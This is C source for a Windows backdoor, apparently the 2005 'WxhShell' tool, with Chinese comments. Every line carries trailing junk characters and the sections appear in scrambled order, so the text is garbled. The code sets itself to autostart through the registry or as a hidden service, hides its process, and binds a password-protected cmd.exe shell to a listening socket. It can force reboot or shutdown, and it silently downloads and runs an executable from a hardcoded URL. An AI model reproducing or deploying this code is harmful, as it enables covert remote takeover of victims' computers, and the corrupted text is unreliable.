    break; ]{=y8]7  
    } -gGw_w?)(  
  // 关机 M2%@bETJ  
  case 'd': { jNxTy UU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =*fq5v  
    if(Boot(SHUTDOWN)) #GGa,@O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xn, u$@F  
    else { 0=,Nz  
    closesocket(wsh); X !h>13fW  
    ExitThread(0); !$98 U~L  
    } { {?-& yA  
    break; w!UF^~  
    } KY&Lv^1_|  
  // 获取shell |}{gE=]  
  case 's': { POk5+^  
    CmdShell(wsh); =.s0"[%   
    closesocket(wsh); ln_&Ux+l  
    ExitThread(0); aUL7 ]'q}  
    break; 7s^b@&Le  
  } 3^KR{N p  
  // 退出 7mS Nz.  
  case 'x': { 5_y w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'A{zH{  
    CloseIt(wsh); p+b/k2 Q  
    break; L)M{S3q,  
    } 8}yrsF #  
  // 离开 4evN^es'I_  
  case 'q': { _L=-z*a\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >4@w|7lS  
    closesocket(wsh); (PE.v1T  
    WSACleanup(); a;5clonB  
    exit(1); `BZ|[ q3  
    break; *& w/*h$!  
        } W7C1\'T  
  } N!.o`4 "z  
  } BqJ|l7+  
.S:(O+#Gm  
  // 提示信息 C'@I!m._i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `(j~b=PP  
} =m<b+@?T  
  } io\t>_  
ty5# a  
  return; :Xy51p`.;]  
} NcbW"Qv3  
Z>UM gu3c  
// shell模块句柄 ;8=Bee4  
int CmdShell(SOCKET sock) <LZ#A@]71  
{ "~ =O`5V  
STARTUPINFO si; S? Cd,WxT  
ZeroMemory(&si,sizeof(si)); 7/M[T\c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /w?zO,!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KHP/Y {mH  
PROCESS_INFORMATION ProcessInfo; !L +b{  
char cmdline[]="cmd"; ~_0XG0oA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2iKteJ@h)  
  return 0; E6R\ DM  
} MMO/vJC  
WUau KRR.  
// 自身启动模式 %>/&&(BE  
int StartFromService(void) xj D$i'V+  
{ K:e[#b8 :R  
typedef struct [.Fm-$M-  
{ ^PC;fn,I  
  DWORD ExitStatus; cY+fZ=  
  DWORD PebBaseAddress; x _kT Wq  
  DWORD AffinityMask; Z;NaIJiL-  
  DWORD BasePriority; Eve,*ATI  
  ULONG UniqueProcessId; yOD=Vc7i  
  ULONG InheritedFromUniqueProcessId; zA?AX1%Wa  
}   PROCESS_BASIC_INFORMATION; 3u t<o-  
s/t,6-~EH  
PROCNTQSIP NtQueryInformationProcess; zk1]?  
@ o<O I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [g`4$_9S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %<+Ku11  
oR%cG"y  
  HANDLE             hProcess; L{1[:a)']B  
  PROCESS_BASIC_INFORMATION pbi; $ r-rIW5\  
djoP`r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'w1ll9O  
  if(NULL == hInst ) return 0; CXGMc)#>f  
A|PZ<WAY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %qqCpg4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ts@w9|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /F^ Jn_  
n4B uM R  
  if (!NtQueryInformationProcess) return 0; ,Y| ;V  
zr A3bWs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yD$d^/:  
  if(!hProcess) return 0; 'Sgz\ =K  
CXuMNa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9]T61Z{OW1  
:3s^, g  
  CloseHandle(hProcess); ci+a jON  
>`[+24e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~("bpS#ZgD  
if(hProcess==NULL) return 0; -ert42fN  
XL44pE m  
HMODULE hMod; `c ^ ">L  
char procName[255]; J!|R1  
unsigned long cbNeeded; InRRcn(  
=/xx:D/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h'GOO(  
Jw;G_dQ[  
  CloseHandle(hProcess); X]2x0  
sEKF  
if(strstr(procName,"services")) return 1; // 以服务启动 :_F 8O  
XR<g~&h  
  return 0; // 注册表启动 pKLNBR|  
} N_FjEZpX  
KRR)pT  
// 主模块 [ns==gDD  
int StartWxhshell(LPSTR lpCmdLine) A!^r9?<  
{ ' Qlj"U  
  SOCKET wsl; f6\4 ,()  
BOOL val=TRUE; (+xT5 2  
  int port=0; mBB"e"o  
  struct sockaddr_in door; ;*+H&  
t+pA9^$[ `  
  if(wscfg.ws_autoins) Install(); <Mj{pN3  
NU'2QSU8  
port=atoi(lpCmdLine); \R-'<kN.*  
C]3:&dx9  
if(port<=0) port=wscfg.ws_port; \|B\7a'4  
x&JD~,Y  
  WSADATA data; ~PAI0+*"q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <EE^ KR96  
M(C$SB>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r? }|W2^%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eA``fpr  
  door.sin_family = AF_INET; !,Cbb }  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); " o 3Hd  
  door.sin_port = htons(port); A42!%>PB  
']sj W'~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r}(mjC"o  
closesocket(wsl); GpO*As_2  
return 1; FI$ -."F  
} MO| Dwuaf  
p)z#%BY56  
  if(listen(wsl,2) == INVALID_SOCKET) { WlW%z(RC  
closesocket(wsl); lu+KfKa  
return 1; j B1ZF#  
} I#]pk!  
  Wxhshell(wsl); 6f t6;*,  
  WSACleanup(); >Y\?v-^~;  
OwNo$b]h`  
return 0; @KHY8y7  
o!&+ _BKw  
} Vo.~1^  
rR/{Yx4  
// 以NT服务方式启动 9@mvG^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +!:=Mm  
{ ^qVBgBPb  
DWORD   status = 0; /C <p^#g9.  
  DWORD   specificError = 0xfffffff; &U`ug"/k  
WWOt>C~zV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KW ZEi?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jS8B:>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [#G*GAa6*  
  serviceStatus.dwWin32ExitCode     = 0; ^wwS`vPb  
  serviceStatus.dwServiceSpecificExitCode = 0; @Jqo'\~&  
  serviceStatus.dwCheckPoint       = 0; M} ri>o  
  serviceStatus.dwWaitHint       = 0; d.Ccc/1-  
Wi,)a{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G^.tAO5:f  
  if (hServiceStatusHandle==0) return; s +qodb+  
0r i  
status = GetLastError(); 8<ev5af  
  if (status!=NO_ERROR) SXE@\Afj  
{ (c"!&&S^ =  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q \fyp\z  
    serviceStatus.dwCheckPoint       = 0; =[Z3]#h  
    serviceStatus.dwWaitHint       = 0; G;[O~N3n.  
    serviceStatus.dwWin32ExitCode     = status; ~6O~Fth  
    serviceStatus.dwServiceSpecificExitCode = specificError; R[* n3 wB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !g)rp`?  
    return; , )TnIByM  
  } %]4=D)Om  
2 J3/Eu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i]4nYYS  
  serviceStatus.dwCheckPoint       = 0; ~J5B?@2hK  
  serviceStatus.dwWaitHint       = 0; C(z 'oi:f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?<\2}1  
} g>gf-2%Uo  
b5KK0Jjk  
// 处理NT服务事件,比如:启动、停止 to1r 88X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *WFd[cKE  
{ L`w r~E2u  
switch(fdwControl) q"S,<I<f  
{ lF40n4}  
case SERVICE_CONTROL_STOP: 9`"#OQPn1  
  serviceStatus.dwWin32ExitCode = 0; F ~7TE91C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W:9l"'  
  serviceStatus.dwCheckPoint   = 0; 7[K3kUm[  
  serviceStatus.dwWaitHint     = 0; BJ'pe[Xa5  
  { jP2#w{xq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hd(TKFL^y  
  } a"t~ K  
  return; 4%_xT o  
case SERVICE_CONTROL_PAUSE: .!i`YT*jF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wa`c3PQGu  
  break; >p;&AaXkoG  
case SERVICE_CONTROL_CONTINUE: _ yDDPuAi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f|F=)tJO  
  break; JY;u<xl  
case SERVICE_CONTROL_INTERROGATE: I36%oA  
  break; O?"uM>r  
}; myqwU`s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Je40vO[  
} .Y8P6_  
cq3Z}Cp  
// 标准应用程序主函数 lk R^2P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W!Hn`T   
{ TiG?r$6v%  
{X_I>)Wg  
// 获取操作系统版本 qHo H h  
OsIsNt=GetOsVer(); a'n17d&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d+ZXi'  
nII#uI /!q  
  // 从命令行安装 I_N:j,Mx  
  if(strpbrk(lpCmdLine,"iI")) Install(); \d]Y#j<  
4PkKL/E  
  // 下载执行文件 Q 8;JvCz   
if(wscfg.ws_downexe) { Dfc% jWbA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2+C:Em0yI  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;4GGXT++L  
} f4F%\ "  
n6M#Xc'JA  
if(!OsIsNt) {  s_+.xIZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 F;kKn:XL  
HideProc(); )`ixT)   
StartWxhshell(lpCmdLine); C@zG(?X  
} N^PkSf[)h5  
else @$;8k }  
  if(StartFromService()) =VT\$ 5A  
  // 以服务方式启动 H8HVmfM  
  StartServiceCtrlDispatcher(DispatchTable); ?U O aqcL  
else {cO8q }L  
  // 普通方式启动 ' u;Zw%O(J  
  StartWxhshell(lpCmdLine); qdmAkYUC  
:*DWL!a  
return 0; FZZO-,xa  
} ~3Zz.!F  
nD]Mg T  
("}C& 6)cB  
9k6/D.Dz  
=========================================== uqa pj("  
BIew\N  
V}7)>i$A  
bhbTloCR  
%;= ?r*]  
3;wiwN'  
" 7zA+UWr  
%X}vuE[[UC  
#include <stdio.h> ka ;=%*7T  
#include <string.h> #n15_cd  
#include <windows.h> SD:`l<l  
#include <winsock2.h> ^q0`eS  
#include <winsvc.h> qN9 ?$\  
#include <urlmon.h> F7nwV Dc*  
}A;YM1^$  
#pragma comment (lib, "Ws2_32.lib") jt: *Y  
#pragma comment (lib, "urlmon.lib") 4<)*a]\c5M  
Z#(Y%6[u  
#define MAX_USER   100 // 最大客户端连接数 i "X" -)#  
#define BUF_SOCK   200 // sock buffer Gm9  
#define KEY_BUFF   255 // 输入 buffer 9ZatlI,  
v6[VdWOx5  
#define REBOOT     0   // 重启 G51-CLM,  
#define SHUTDOWN   1   // 关机 7/k7V)  
/"m#mh L  
#define DEF_PORT   5000 // 监听端口 ?z6K/'?  
B!8X?8D  
#define REG_LEN     16   // 注册表键长度 8faT@J'e;  
#define SVC_LEN     80   // NT服务名长度 $ <C",&  
iQT0%WaHl  
// 从dll定义API 2Ub-ufkU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Li0+%ijM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i gjn9p&_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5K682+^5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v&7<f$5  
b`j9}t Z  
// wxhshell配置信息 t%5bDdo  
struct WSCFG { ,O:p`"3`0=  
  int ws_port;         // 监听端口 1ah,Zth2  
  char ws_passstr[REG_LEN]; // 口令 ,Shzew+  
  int ws_autoins;       // 安装标记, 1=yes 0=no wq!9wk9  
  char ws_regname[REG_LEN]; // 注册表键名 $sg-P|Wo  
  char ws_svcname[REG_LEN]; // 服务名 tX@y ]"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _T~&kwe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VAUd^6Xdwx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I>vU;xV\m  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ggkz fg&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u^c/1H:6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X eY[;}9  
9HiyN>(  
}; ; lrO?sm  
CR2.kuM0~  
// default Wxhshell configuration G %\/[ B  
struct WSCFG wscfg={DEF_PORT, &DHIYj1 i  
    "xuhuanlingzhe", ?"<m{,yQI  
    1, *zDDi(@vtK  
    "Wxhshell", /-m)  
    "Wxhshell", c;-N RvVb  
            "WxhShell Service", *B{]  
    "Wrsky Windows CmdShell Service", "lC>_A  
    "Please Input Your Password: ", "Ms{c=XPK  
  1, ?u".*!%  
  "http://www.wrsky.com/wxhshell.exe", f8qDmk5s  
  "Wxhshell.exe" D+! S\~u  
    }; |8[!`T*s  
2J$vX(  
// 消息定义模块 BhbfPQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tlg}"lY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u2$.EM/iae  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uTPAf^|  
char *msg_ws_ext="\n\rExit."; :pz@'J  
char *msg_ws_end="\n\rQuit."; nnE'zk<"  
char *msg_ws_boot="\n\rReboot..."; V=5*)i/  
char *msg_ws_poff="\n\rShutdown..."; f\q5{#"z  
char *msg_ws_down="\n\rSave to "; I8B0@ZtV  
G|-RscPe  
char *msg_ws_err="\n\rErr!"; _h,_HW)G  
char *msg_ws_ok="\n\rOK!"; 3fXrwmBT8  
1q5S"=+W[  
char ExeFile[MAX_PATH]; Q8QB{*4  
int nUser = 0; vdB2T2F  
HANDLE handles[MAX_USER]; i^Jw`eAmT  
int OsIsNt; F^%\AA]8  
P O0Od z  
SERVICE_STATUS       serviceStatus; m$(OQ,E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Mw-L?j0o[k  
W?P4oKsql*  
// 函数声明 4${3e Sg_  
int Install(void); DTo"{!  
int Uninstall(void); w L>*WLfR  
int DownloadFile(char *sURL, SOCKET wsh); #2:?N8vz*  
int Boot(int flag); Lp@Al#X55  
void HideProc(void); 5WxNH}{  
int GetOsVer(void); (a-Lx2T  
int Wxhshell(SOCKET wsl); qp#Euq6  
void TalkWithClient(void *cs); V51kX{S  
int CmdShell(SOCKET sock); AFvv+ ss  
int StartFromService(void); 5rCJIl.  
int StartWxhshell(LPSTR lpCmdLine); f? GoBh<  
$ve$Sq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i[FYR;C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tSoF!@6  
KydAFxUb  
// 数据结构和表定义 \T<F#a  
SERVICE_TABLE_ENTRY DispatchTable[] = i;]# @n|  
{ !Icznou\  
{wscfg.ws_svcname, NTServiceMain}, (Pw,3CbJ  
{NULL, NULL} jTV4iX  
}; J.U%W}Hx  
@icw:68  
// 自我安装 cq gCcO ,  
int Install(void) AGS(ud{  
{ (e!Yu#-  
  char svExeFile[MAX_PATH]; SAf)#HXa  
  HKEY key; /n>vPJvz  
  strcpy(svExeFile,ExeFile); G973n  
*14:^neoI  
// 如果是win9x系统,修改注册表设为自启动 -O=xgvh"  
if(!OsIsNt) { T<Qa`|5 >  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v''J@F7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {YrA [9  
  RegCloseKey(key); c'Ibgfx%m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H]wP \m)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T3SFG]H  
  RegCloseKey(key); f O+lD  
  return 0; ?Ov~\[) F  
    } T@#?{eA  
  } wmXI8'~F&  
} z-g6d(  
else { ;1nXJ{jKw  
Y9vi&G?Jl  
// 如果是NT以上系统,安装为系统服务 iCh 8e>+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rLmc(-q  
if (schSCManager!=0) ~!7x45( 1#  
{ S>*i\OnI'  
  SC_HANDLE schService = CreateService o]qwN:8^  
  ( ~dLbhjde n  
  schSCManager, '|5o(6u'  
  wscfg.ws_svcname, y x#ub-A8  
  wscfg.ws_svcdisp, ev+H{5W8  
  SERVICE_ALL_ACCESS, !?+0O]`}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xc" %-  
  SERVICE_AUTO_START, =OPX9oG  
  SERVICE_ERROR_NORMAL, `Eu,SvkFw  
  svExeFile, kv+^U^WoU  
  NULL, Lw(tO0b2H  
  NULL, JgKhrDx  
  NULL, Df*<3G  
  NULL, L;{{P7  
  NULL d=uGB"  
  ); C|w<mryx  
  if (schService!=0) H`URJ8k$Q  
  { 4/mz>eK"  
  CloseServiceHandle(schService); Ya!e8 3-r  
  CloseServiceHandle(schSCManager); Ki Kw,@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); whP5 u/857  
  strcat(svExeFile,wscfg.ws_svcname); B|$o.$5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kdV9F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CRNi*u  
  RegCloseKey(key); 2g?q4e,  
  return 0; hm0A%Js  
    } I} +up,B]o  
  } YTY(Et1i  
  CloseServiceHandle(schSCManager); y3QS! 3I  
} !io1~GpKS  
} ;C:|m7|  
59W~bWHCP  
return 1; t# y,9>6  
} HyKA+ 7}  
1n7'\esC*  
// 自我卸载 $G }9iV7  
int Uninstall(void) h#Z,ud_  
{ P2C>IS  
  HKEY key; P{_%p<:V  
M3F1O6=4j  
if(!OsIsNt) { K[/L!.Ag  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E.ji;5  
  RegDeleteValue(key,wscfg.ws_regname); &N6[*7  
  RegCloseKey(key); /]-yZ0hX0O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uWFyI"  
  RegDeleteValue(key,wscfg.ws_regname); ;PU'"MeB "  
  RegCloseKey(key); _FcTY5."S  
  return 0; UHU ,zgM  
  } aot2F60J,  
} xaoR\H  
} (&r` l&0  
else { [UC_  
Iu`S0#+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g.%} +5  
if (schSCManager!=0) s3Zt)xQ3  
{ v#<{Y' K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xVX:kDX  
  if (schService!=0) 7I&o  
  { 7l =Tl[n  
  if(DeleteService(schService)!=0) { ~OvbMWu  
  CloseServiceHandle(schService); H<<t^,E^.t  
  CloseServiceHandle(schSCManager); mT UoFXX[  
  return 0; &=n/h5e0t&  
  } :&'jh/vRN  
  CloseServiceHandle(schService); 9y5JV3  
  } RjO0*$>h  
  CloseServiceHandle(schSCManager); !7)#aXt&  
} ANM=:EtP  
} /QVwZrch  
&nI>`Q'  
return 1; Qo^(r$BD  
} I_Gz~qk6  
mD&I6F[s  
// 从指定url下载文件 !.t D.(XP  
int DownloadFile(char *sURL, SOCKET wsh) 74:~F)BP  
{ rKFnivGT  
  HRESULT hr; $M!iQ"bb  
char seps[]= "/"; w4}Q6_0v  
char *token; j3N d4#  
char *file; P 6La)U`VA  
char myURL[MAX_PATH]; xfI0P0+  
char myFILE[MAX_PATH]; rWDD$4y  
c?. i;4yh  
strcpy(myURL,sURL); w%X@os}E  
  token=strtok(myURL,seps); U] GD6q  
  while(token!=NULL) 4pQf*l8e  
  { j|&D(]W/  
    file=token;  zy"k b  
  token=strtok(NULL,seps); L]!![v.VY  
  } V.qH&FJ=l  
~I;x_0iY4  
GetCurrentDirectory(MAX_PATH,myFILE); -Q JPJ.  
strcat(myFILE, "\\"); v7KBYN  
strcat(myFILE, file); {7]maOg>7J  
  send(wsh,myFILE,strlen(myFILE),0); *) T"-}F  
send(wsh,"...",3,0); v@q&B|0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .|hsn6i/-  
  if(hr==S_OK) |W=-/~X  
return 0; [+R_3'aK  
else X;UEq]kcmn  
return 1; ){'<67dK  
/d:hW4}<}.  
} Y_jc*S  
oPni4^g i  
// 系统电源模块 zaLPPm&f  
int Boot(int flag) }+pwSjsno  
{ D& o\q68W  
  HANDLE hToken; srAWet  
  TOKEN_PRIVILEGES tkp; ~TS!5Wiv  
8]b;l; W5  
  if(OsIsNt) { \9` ~9#P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?a% F3B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y?O-h1"3,  
    tkp.PrivilegeCount = 1; DbFe;3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6jgP/~hP>N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "9QZX[J|*  
if(flag==REBOOT) { \~+b&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8OV =;aM?{  
  return 0; vWM&4|Q1~  
} 0,0Z!-Y  
else { 'Q :%s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uYg Q?*Z  
  return 0; -C~zvP; a  
} PlS)Zv3  
  } -qaO$M^Q  
  else { 0#8, (6  
if(flag==REBOOT) { ;]m;p,$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \#) YS  
  return 0; =p=/@FN  
} :A @f[Y'9  
else { )[ZXPD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T$R#d&t  
  return 0; V V}"zc^  
} f+s)A(?3  
} #V]8FW  
|gu@b~8  
return 1; ]u$tKC  
} W'"?5} (  
)uo".n|n~B  
// win9x进程隐藏模块 3%GsTq2o  
void HideProc(void) $|J+  
{ Xxd D)I  
6Y,&q|K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MaY_*[  
  if ( hKernel != NULL ) 0uW)&>W  
  { B; NK\5>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }s@IQay+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *C+[I  
    FreeLibrary(hKernel); ?Sa,n^b*H  
  } J(/J;PW  
y }R2ZO  
return; q. Jx|x  
} Ij.mLO]  
IZLCwaW  
// 获取操作系统版本 xZ`vcS(  
int GetOsVer(void) bCC &5b  
{ >yP> ]r+  
  OSVERSIONINFO winfo; 9e>2kd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3gVU#T [[  
  GetVersionEx(&winfo); +2 oZML  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uE(5q!/  
  return 1;  + @f  
  else _xi &%F/  
  return 0; j #P4&  
} OAW_c.)5D  
oPaoQbR(A  
// 客户端句柄模块 vf<Dqy<M.  
int Wxhshell(SOCKET wsl) rKslgZhQ  
{ @jMo/kO/A  
  SOCKET wsh; !A% vR\  
  struct sockaddr_in client; CVkJMH_  
  DWORD myID; CPcUB4a%#  
2W_[|.;'  
  while(nUser<MAX_USER) }b}jw.2Wu  
{ \_R<Q?D+  
  int nSize=sizeof(client); aBY&]6^-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k{F6WQ7  
  if(wsh==INVALID_SOCKET) return 1; 0Qvr g+  
AI{0;0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #4LTUVH  
if(handles[nUser]==0) Op~:z<z  
  closesocket(wsh); 7]5~ml3:  
else w%)RX<h dI  
  nUser++; u #}1 M  
  } e@Ev']  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v*JKLA  
1(# H%  
  return 0; ,Fkq/h  
} #`%S[)RT  
A=|a!N/  
// 关闭 socket dQ-g\]d|  
void CloseIt(SOCKET wsh) h@ ZC{B  
{ O_th/hl  
closesocket(wsh); [qkW/qS  
nUser--; d$+0 ;D4E  
ExitThread(0); dJ])`S  
} i(.PkYkaq  
Ev [?5R  
// 客户端请求句柄  (yd(ZY  
void TalkWithClient(void *cs) @zi0:3`#0\  
{ pG)dF@  
l,b,U/3R.  
  SOCKET wsh=(SOCKET)cs; ,H/O"%OJ  
  char pwd[SVC_LEN]; gYGoJH1  
  char cmd[KEY_BUFF]; z4(\yx  
char chr[1]; Yqo@ g2g  
int i,j; r<srTHGL o  
^*$!9~  
  while (nUser < MAX_USER) { *,O3@,+>H  
9 lG a*f)  
if(wscfg.ws_passstr) { X_D-K F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f]?&R c2C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 06.8m;{N  
  //ZeroMemory(pwd,KEY_BUFF); w^nA/=;r  
      i=0; z%+rI  
  while(i<SVC_LEN) { [U^Cz{G  
 g;AW  
  // 设置超时 d*k5h<jM  
  fd_set FdRead; Rb:?%\=  
  struct timeval TimeOut; knV*,   
  FD_ZERO(&FdRead); oVbs^sbRH  
  FD_SET(wsh,&FdRead); A(`Mwh+  
  TimeOut.tv_sec=8; |+sAqx1IF  
  TimeOut.tv_usec=0; p}gA8 o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B|9XqQ EI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xmC5uT6L3M  
N z=P1&G'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v<l]K$5J&  
  pwd=chr[0]; \21Gg%W5AE  
  if(chr[0]==0xd || chr[0]==0xa) { LqJV  
  pwd=0; NhF"%  
  break; f61vE  
  } /.A"HGAk  
  i++; ZXiJ5BZ  
    } ' \>k7?@  
*tR'K#:&g!  
  // 如果是非法用户,关闭 socket FrLv%tK|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UEYJd&n0CB  
} C;U4`0=8  
awz.~c++  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7) RvBcM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OuWRLcJ!  
ScVbo3{m*T  
while(1) { j!k$SDA-  
Nqd9)WQ  
  ZeroMemory(cmd,KEY_BUFF); N,VI55J:y>  
En&gI`3n  
      // 自动支持客户端 telnet标准    eBmHb\  
  j=0; RK$(  
  while(j<KEY_BUFF) { pTTM(Hrx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $X\2h+ Os  
  cmd[j]=chr[0]; zO$r   
  if(chr[0]==0xa || chr[0]==0xd) { 'T7 3V  
  cmd[j]=0; vAeVQ~  
  break; q?]KZ_a  
  } aAn p7\7  
  j++; 017nhI  
    } \xC#Zs[<  
6jm/y@|F!  
  // 下载文件 u%"5<ll  
  if(strstr(cmd,"http://")) { #NL'r99D/o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); tBl (E  
  if(DownloadFile(cmd,wsh)) ^x^(Rk}|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l)jP!k   
  else f$dIPt(  
